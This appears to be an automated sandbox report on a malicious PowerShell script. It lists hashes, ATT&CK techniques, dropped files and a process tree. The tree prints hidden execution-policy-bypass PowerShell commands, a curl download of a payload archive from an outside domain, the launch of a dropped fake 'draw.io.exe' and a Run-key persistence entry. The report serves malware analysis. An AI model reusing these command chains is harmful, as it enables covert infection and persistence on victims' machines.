1bbec3f72e50f5707afa4283b2b8a786dbeca2870a019bd802a1952c5c9cdc95

Analysis

max time kernel
150s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 06:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
script.ps1
Size 1KB
Sample260720-gzt5babs91
SHA256 1bbec3f72e50f5707afa4283b2b8a786dbeca2870a019bd802a1952c5c9cdc95
MD5 41eaea6dce06ebe6ac0390a6f51534cd
SHA1 e1aa960a360e88c1d3a8dd55c684f9cc8492c469
SHA512 7684650d4a0527fd65e127cedec4f5cbeb4cbe74871d95591fbbe2ddbeaa4448ce0c8ee02769a0e915dcfee2c9a7a2ee11716f6fb57e2d4efed57b3130c4b682
TLSH
T11F418511021881BECAF7C0E79AA918118AD690EB01CA7D8E3DAFD2D1DF821688653836
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4412	powershell.exe
3020	powershell.exe
4984	PowerShell.exe

Executes dropped EXE 9 IoCs

pid	Process
4876	draw.io.exe
2632	draw.io.exe
4488	draw.io.exe
1748	draw.io.exe
3760	draw.io.exe
5468	draw.io.exe
3532	draw.io.exe
480	draw.io.exe
5788	Runner_De.exe

Loads dropped DLL 31 IoCs

pid	Process
4876	draw.io.exe
2632	draw.io.exe
2632	draw.io.exe
2632	draw.io.exe
2632	draw.io.exe
2632	draw.io.exe
1748	draw.io.exe
4488	draw.io.exe
3760	draw.io.exe
5468	draw.io.exe
3760	draw.io.exe
5468	draw.io.exe
5468	draw.io.exe
3760	draw.io.exe
5468	draw.io.exe
3760	draw.io.exe
5468	draw.io.exe
3760	draw.io.exe
5468	draw.io.exe
3760	draw.io.exe
3532	draw.io.exe
480	draw.io.exe
5788	Runner_De.exe
5788	Runner_De.exe
5788	Runner_De.exe
5788	Runner_De.exe
5788	Runner_De.exe
5788	Runner_De.exe
5788	Runner_De.exe
5788	Runner_De.exe
5788	Runner_De.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Superintendent = "\"C:\\Users\\Admin\\AppData\\Roaming\\Superintendent\\draw.io.exe\""	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
5884	cmd.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5364	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Runner_De.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4984	PowerShell.exe
4984	PowerShell.exe
3020	powershell.exe
3020	powershell.exe
3020	powershell.exe
4412	powershell.exe
4412	powershell.exe
4412	powershell.exe
4412	powershell.exe
4412	powershell.exe
4412	powershell.exe
5788	Runner_De.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4984	PowerShell.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe
Token: SeCreatePagefilePrivilege	4488	draw.io.exe
Token: SeShutdownPrivilege	1748	draw.io.exe
Token: SeCreatePagefilePrivilege	1748	draw.io.exe
Token: SeShutdownPrivilege	4488	draw.io.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 3020	4984	PowerShell.exe	90
PID 3020 wrote to memory of 5868	3020	powershell.exe	92
PID 3020 wrote to memory of 4876	3020	powershell.exe	95
PID 4876 wrote to memory of 5884	4876	draw.io.exe	96
PID 5884 wrote to memory of 4412	5884	cmd.exe	98
PID 4876 wrote to memory of 2632	4876	draw.io.exe	99
PID 4876 wrote to memory of 2632	4876	draw.io.exe	99
PID 4412 wrote to memory of 1748	4412	powershell.exe	102
PID 4488 wrote to memory of 3760	4488	draw.io.exe	103
PID 4488 wrote to memory of 3760	4488	draw.io.exe	103
PID 1748 wrote to memory of 5468	1748	draw.io.exe	104
PID 1748 wrote to memory of 5468	1748	draw.io.exe	104
PID 1748 wrote to memory of 3532	1748	draw.io.exe	105
PID 4488 wrote to memory of 480	4488	draw.io.exe	106
PID 1748 wrote to memory of 5364	1748	draw.io.exe	107
PID 5364 wrote to memory of 5788	5364	cmd.exe	109

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Bypass -W Hidden -F "C:\Users\Admin\AppData\Local\Temp\t.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L https://savricsaxen.cloud/storage/media/6a0de6056a65e/draw.zip -o C:\Users\Admin\AppData\Roaming\pupdate.zip
    3⤵
    PID:5868
- - C:\Users\Admin\AppData\Roaming\UAppPlugin\draw.io.exe
    "C:\Users\Admin\AppData\Roaming\UAppPlugin\draw.io.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4876
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonInteractive -File C:\Users\Admin\AppData\Local\Temp\Superintendent_1784528138153.ps1
      4⤵
      Hide Artifacts: Hidden Window
      Suspicious use of WriteProcessMemory
      PID:5884
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonInteractive -File C:\Users\Admin\AppData\Local\Temp\Superintendent_1784528138153.ps1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4412
      - C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe
        
        "C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1748
        
        C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe
        
        "C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\draw.io" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1680 --field-trial-handle=1760,i,36544872092982986,18150333948384283607,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5468
        
        C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe
        
        "C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\draw.io" --mojo-platform-channel-handle=1996 --field-trial-handle=1760,i,36544872092982986,18150333948384283607,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\Temp\1784528151410\Runner_De.exe""
        7⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5364
        
        C:\Users\Admin\AppData\Local\Temp\1784528151410\Runner_De.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1784528151410\Runner_De.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5788
  - - C:\Users\Admin\AppData\Roaming\UAppPlugin\draw.io.exe
      "C:\Users\Admin\AppData\Roaming\UAppPlugin\draw.io.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\draw.io" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1504 --field-trial-handle=1696,i,17709903694448273092,5837158423556375794,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3068

C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe
"C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4488
- C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe
  "C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\draw.io" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1596 --field-trial-handle=1748,i,3710786079899274029,8423038518229809336,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3760
- C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe
  "C:\Users\Admin\AppData\Roaming\Superintendent\draw.io.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\draw.io" --mojo-platform-channel-handle=2060 --field-trial-handle=1748,i,3710786079899274029,8423038518229809336,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 712e532df307cd5adca7d3f0083e360b76bb7a4f77b2dc0b37b70088736d6c65
MD5 158484f2a0f8ee2e115185013758d8d0
SHA1 903c3b10545d406698f34054d9d2acf4ba52a542
SHA512 df65ae25dcd83936aa877864d53240c96b688f56fd81d68e92fdb072aa874b9c2997fd14d9b4f93e71fc137122132db6cbd6a982b295440c5052841e6454ae57
TLSH
T14A317933B3DC86E8D899413A00CAAD1037B693D790DECED77B84D249B53F298DE60690
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
MD5 d0d3fac03f88767610f5a99b8ef62534
SHA1 ea88be022253f1717dc92755386a6b006d8e1161
SHA512 22253d382bb8cd22a7219803e10bcc5d1c070aef98e01f99ac6589d6361d6571c45b89dd5ba1ff3ad4b1c8f01508873878aab9be1526b777a8ae574c3b86c57e
TLSH
T1C921AF37B3CC8714DC8A403A50CDAC1032B5C7D7409ECF6B7B84D544B42F599CE60150
MD5 SHA1 SHA512 TLSH

Submit Download

Superintendent_1784528138153.ps1

Path C:\Users\Admin\AppData\Local\Temp\Superintendent_1784528138153.ps1
Size 665B
SHA256 172d2fbcbeab7239642ce1e5b4957a8f6f37284970e320b3b3fe3e9b0679ca72
MD5 cca28486393073fb3e8a43edc02bc0e3
SHA1 ac23202c298234997a1e88e809d6fedcfe671443
SHA512 a388c1686ddf514214de56e606058c9856e0e55aba3eba55a5c7ccaf4390d06b7c25d046935481fce3e1ab3a761e459fe18ad705389d7e1c805b895069329bd9
TLSH
T17E014E4039C4E64DEA03D3DB5FF573A9497E83EA6EBD2A04C648C4482690D74E78D043
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_nxzdxosx.3kz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxzdxosx.3kz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

t.ps1

Path C:\Users\Admin\AppData\Local\Temp\t.ps1
Size 252B
SHA256 aa30b21d760f2a0aae01c877fd83b86e109238dd79c8ef684a933f130fba865f
MD5 e69b367f6b8e0c072bfa322e4f8c261e
SHA1 0fd5b31c96d0ea6d415be54065c12c5390b189a4
SHA512 4ed001a25fd182e16ecf279169e186d2bc5713c810999745afccaf0b68e7282b05a917665288b294662ed48933a509c5fadc00f63a50e0217600c82c205aa29b
TLSH
T1FFD0A577200643B6C5F541DB55F476C5E01F4D46140F55751517E3061C2F521D983975
MD5 SHA1 SHA512 TLSH

Submit Download

D3DCompiler_47.dll

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\D3DCompiler_47.dll
Size 4.7MB
SHA256 5653bc7b0e2701561464ef36602ff6171c96bffe96e4c3597359cd7addcba88a
MD5 cb9807f6cf55ad799e920b7e0f97df99
SHA1 bb76012ded5acd103adad49436612d073d159b29
SHA512 f7c65bae4ede13616330ae46a197ebad106920dce6a31fd5a658da29ed1473234ca9e2b39cc9833ff903fb6b52ff19e39e6397fac02f005823ed366ca7a34f62
SSDEEP 49152:IuhjwXkKcimPVqB4faGCMhGNYYpQVTxx6k/ftO4w6FXKpOD21pLeXvZCoFwI8cc:oy904wYbZCoOI85oyI
TLSH
T19E367D5673E940A9C1BBD138CE478213EBB1781403345BEB5191C669EF73BE26A3E724
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\chrome_100_percent.pak
Size 125KB
SHA256 d2c299095dbbd3a3cb2b4639e5b3bd389c691397ffd1a681e586f2cfe0e2ab88
MD5 0cf9de69dcfd8227665e08c644b9499c
SHA1 a27941acce0101627304e06533ba24f13e650e43
SHA512 bb5d340009cef2bcb604ef38fdd7171fed0423c2dc6a01e590f8d15c4f6bc860606547550218db41fba554609e8395c9e3c3508dfa2d8b202e5059e7646bdcef
SSDEEP 3072:ogKzwI/4wKN3/nXCWZQCPxBVO2o418Gb0+VRLf0ld0GY3cQ39x2I:ogKzwI/49NPyCtoK18Gb0OV8ld0GecQ1
TLSH
T161C3E1E7B3B4ED7DCBA756B7921600B2EDB346290695034B478BD8312926705DDC87C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_200_percent.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\chrome_200_percent.pak
Size 174KB
SHA256 f49abd81e93a05c1e53c1201a5d3a12f2724f52b6971806c8306b512bf66aa25
MD5 d88936315a5bd83c1550e5b8093eb1e6
SHA1 6445d97ceb89635f6459bc2fb237324d66e6a4ee
SHA512 75142f03df6187fb75f887e4c8b9d5162902ba6aac86351186c85e5f0a2d3825ca312a36cf9f4bd656cdfc23a20cd38d4580ca1b41560d23ebaa0d41e4cf1dd2
SSDEEP 3072:YDQYaEqQZUYUJP1N3/nXCWZQCPxBVrfR54x5GMR+F44ffbdZnYw9p4AbIVGYoDdR:YDQYaRyY1NPyCt9gx5GMRejnbdZnVE6j
TLSH
T1CB04E0DBA3B89D7CC6A71AB3612A05F1ECF2113506B6025B03DFDC357A56B8589CD283
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\ffmpeg.dll
Size 2.7MB
SHA256 04d25531667744bfb3fc1f08596baa21a3e02e837d1bbaea3f4909cc5b1f52da
MD5 110b0c84b090a46f6cd418580ccca90e
SHA1 14f6801371a67db07dfb303b1f33d3ac794f5350
SHA512 2c3ccdf4a874ee91fa1587500b8153530824bf349af77b7e1d8711735cac0e2798ea6b738ab845ddd73724ebd948dd433c7d7cdf42b1b85ca4312bea8ce4924d
SSDEEP 49152:ElZonccCDKsA2wIqxXDxcaKN7UAfE5opPw1VHvJzdKl3F6yToQVtU5lkJwdj02b7:aoccPjXDxQZfE5Zg3EyToQVtU5lkJ3hM
TLSH
T140D59D07E6D644DDD019C23487AF9233F931384A8724A5EF2A9196252F3BFD06E7E724
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icudtl.dat

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\icudtl.dat
Size 9.9MB
SHA256 00f755664926fda5fda14b87af41097f6ea4b20154f90be65d73717580db26ee
MD5 c6ae43f9d596f3dd0d86fb3e62a5b5de
SHA1 198b3b4abc0f128398d25c66455c531a7af34a6d
SHA512 3c43e2dcdf037726a94319a147a8bc41a4c0fd66e6b18b3c7c95449912bf875382dde5ec0525dcad6a52e8820b0859caf8fa73cb287283334ec8d06eb3227ec4
SSDEEP 196608:tGzwSv9AAQu1+liXUxCGZHa93Whlw6ZzbSEQF:t3KlQusliXUxCGZHa93Whlw6ZzbSEQF
TLSH
T189A63907A2FB4EC2F9F7AF30D8F552679467BD496E32805A11442F3B1C373908661BA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libegl.dll

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\libegl.dll
Size 460KB
SHA256 d8418c99f98908d6b86b6b59f2668dfe82b0c02eef91a5c7d9b3cf08358b9b7f
MD5 9c5ed5fc5e6bc2f10f1d39eb0fc6b4ee
SHA1 67d1abcb72ba7523ce87dd0d8092733704a8aea4
SHA512 740bc2a3f91dea18ece966136ef70bfbd5ac94a2d3b7135f2a43dd049103f4ff2109b921eb0296724889e50719ed637f7709ae671c14744897426678f4eaf312
SSDEEP 6144:wCcdQ7gw/jvtGHAoH7WIsZw8P7gWKVsKgVm3zWxkC8wKaLeDRVs:wCT7gw/jvtGHAA7WI07Csmaxk7wK8i
TLSH
T103A48D16B79444B9D026C074CA274642DE76B8960F25FBDF03A4927D2F7BBE85B39320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libglesv2.dll

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\libglesv2.dll
Size 6.8MB
SHA256 cc628255f79c9c41659463cf6e9a1e75c6c5476973cd657293585352b7d217db
MD5 488effa44a32d37cf22dc034fcf3653a
SHA1 e1659a0e9ada540ed6aa507dcde0685808acd822
SHA512 953b8b9518cfa67f2a175b8d0997994b347e35685dafe272c2226705bc238eba92c8029a4a98d8309f0369a441fa8cf812dd7d5e77419dd3e0ae10b5d4691fb3
SSDEEP 49152:dQCiyUY0LdCjLQozF/fXX3stGE2Bg49Uhy1kceIDRTbJOS3zysj02BFyjF1g7rO/:RnzhfXPvc4/Bq29ZEW3rqmLmE
TLSH
T129767C0BE6A180D9D04DD2B98B57A122FA31BC4A0725B1DF229473113FB7BF06B7A754
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

af.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\af.pak
Size 125KB
SHA256 07b7c08c4c848473f3e6eef0617dc596792cf01446ebc422f46c01173af7cc92
MD5 4fd1a10c770025c5cd833af259750370
SHA1 2e534ae76f5f1c51e1e8b0aebfd8023cda215db0
SHA512 7bbd19ac8325766ac7a10045bb76825e763bd9edbd85edf72b771b2c8f1a56ec7177b28e17c5138b0522740947247624f07183095e8dc633b641e820a497f6e0
SSDEEP 3072:Q4R1VbSVwDwavwT6HUrLOd+QeeSsL0J6tuBMWoXO3I9GLfXEAbZt1ScE:rR19SVwDwaXqLOds80KO3q
TLSH
T101C32A0ADAC4273D09E06596FA0092B7BF9D722DD761B5F6DD8D813219A2EFC00BC5C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

am.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\am.pak
Size 202KB
SHA256 dee9619b0dd779cbc10a7749507547719f0a7f757ece1a8932d09e9163b9472d
MD5 4a57088c3d4e372716293f677b58c2a2
SHA1 4df901be2f9cee517a24a009e54cc8eb546fdf63
SHA512 2a0f4758ee03bf3faa71fa399107fbfc21f1ca203e7eba4ae6f5ff142456e6fd1251ecdda002c05a286353d0a55a5738d129327479d42c6d32871713fcbc4319
SSDEEP 3072:R66FO7S/E92t7Rq4rgEkDvuh7gb8oeyHXkiqiwGMqyZJjhEb2WAATMb0kew97Gaw:fXgJ1ludHQP+x30jH8+D
TLSH
T10D14CD547DFAF7171F8E8A19A4210E8E5594AD4693802C38D35AE3FC2B2DF1B4CDE258
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ar.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\ar.pak
Size 207KB
SHA256 86f876c952e6e9d693b0d6d25ee1c1244e4fba35605b14871f6c48f2189d0b75
MD5 32fa201f7a5190a82abcbe0c1a1d3bd0
SHA1 734adebfe0e4e8799bb2dc386aad3332aa6d1d40
SHA512 1ca1ac370691b04d0ca8d42bf413714a364f8aaa7cce65a318598c2bf21bf052078e916fede52e68b40e5dbdfbaf7372a450a42864269fe3411725d0fb90061c
SSDEEP 3072:kOq8NvtLQHPcNRXqhmBdJcFxu3PzGF+hFGAaduzBfMCS2xHMuZtE9P6NsJ0NJOKP:kOq8hhNRx3PzNfPMgSENmWy5I1LCA9
TLSH
T13624ABE21B2984720A52DF0ED1E2366CD872BD23DB4BFC3134935A2156DB513E78E678
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bg.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\bg.pak
Size 226KB
SHA256 cd6701f8b682b6d677ae2010abfb4bfd19555bb42847e2ffddc54e203d50b373
MD5 470dde3136a8da5752fcde269d4b6b43
SHA1 85196012cc0df090650244f7b55e51728c68806b
SHA512 b39397c8a3a081e61dd52ebbc0a4cc2ac33f9427c1ea9215995cd8915d705f30d2d3290742155890a61fc3819b6076c1ae41d278171517622ad35fc6f430702a
SSDEEP 6144:ZRQoKRDBa4V175RTKa40IzN/frZzrmLy8APWx6y2Hw2ReusUVT:ZCoKRNa4V175RTKn0IzN/fILy8APWx6P
TLSH
T1F63423A15B9A68CF0501F45F9C087E093CEB44FE7FE7879241642DBD39E207486BA64E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bn.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\bn.pak
Size 291KB
SHA256 a40148129ff88aff0ea269ef3ca4fb369e772257655d27dfa29f078270486287
MD5 be160a93d35402ed4f4404f2b1d05d95
SHA1 52db7af673b6e5318e6663751938dbbce4f6280e
SHA512 c2d2c4a2e24fdeeb22dadfa63ee8338efe8a5f08e17c3eb0e9a946098c57ba675c8ca5c73c04424e8307d9be60f9263553e8268f4815c73d081205fe8a92c8f3
SSDEEP 1536:OkH1yASb4xVdGcnAfrp9KJ3bJr98JMgE2fpwuDuI9KZ3IlzmhG1A+qSvuA3Szc:OkVrxXG+Sy3bJW
TLSH
T1E554ED209CAE81B2B8D5CDC9474C6330C1236E9B9B65F749DC07A21538ADC7C8CADDB9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ca.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\ca.pak
Size 140KB
SHA256 799ac8c1fa9cdd6a0c2e95057c3fc6b54112fe2aebbb1a159d9dac9d1583ca62
MD5 8fc109e240399b85168725bf46d0e512
SHA1 c42c1fc06b2c0e90d393a8ae9cebcdd0030642e5
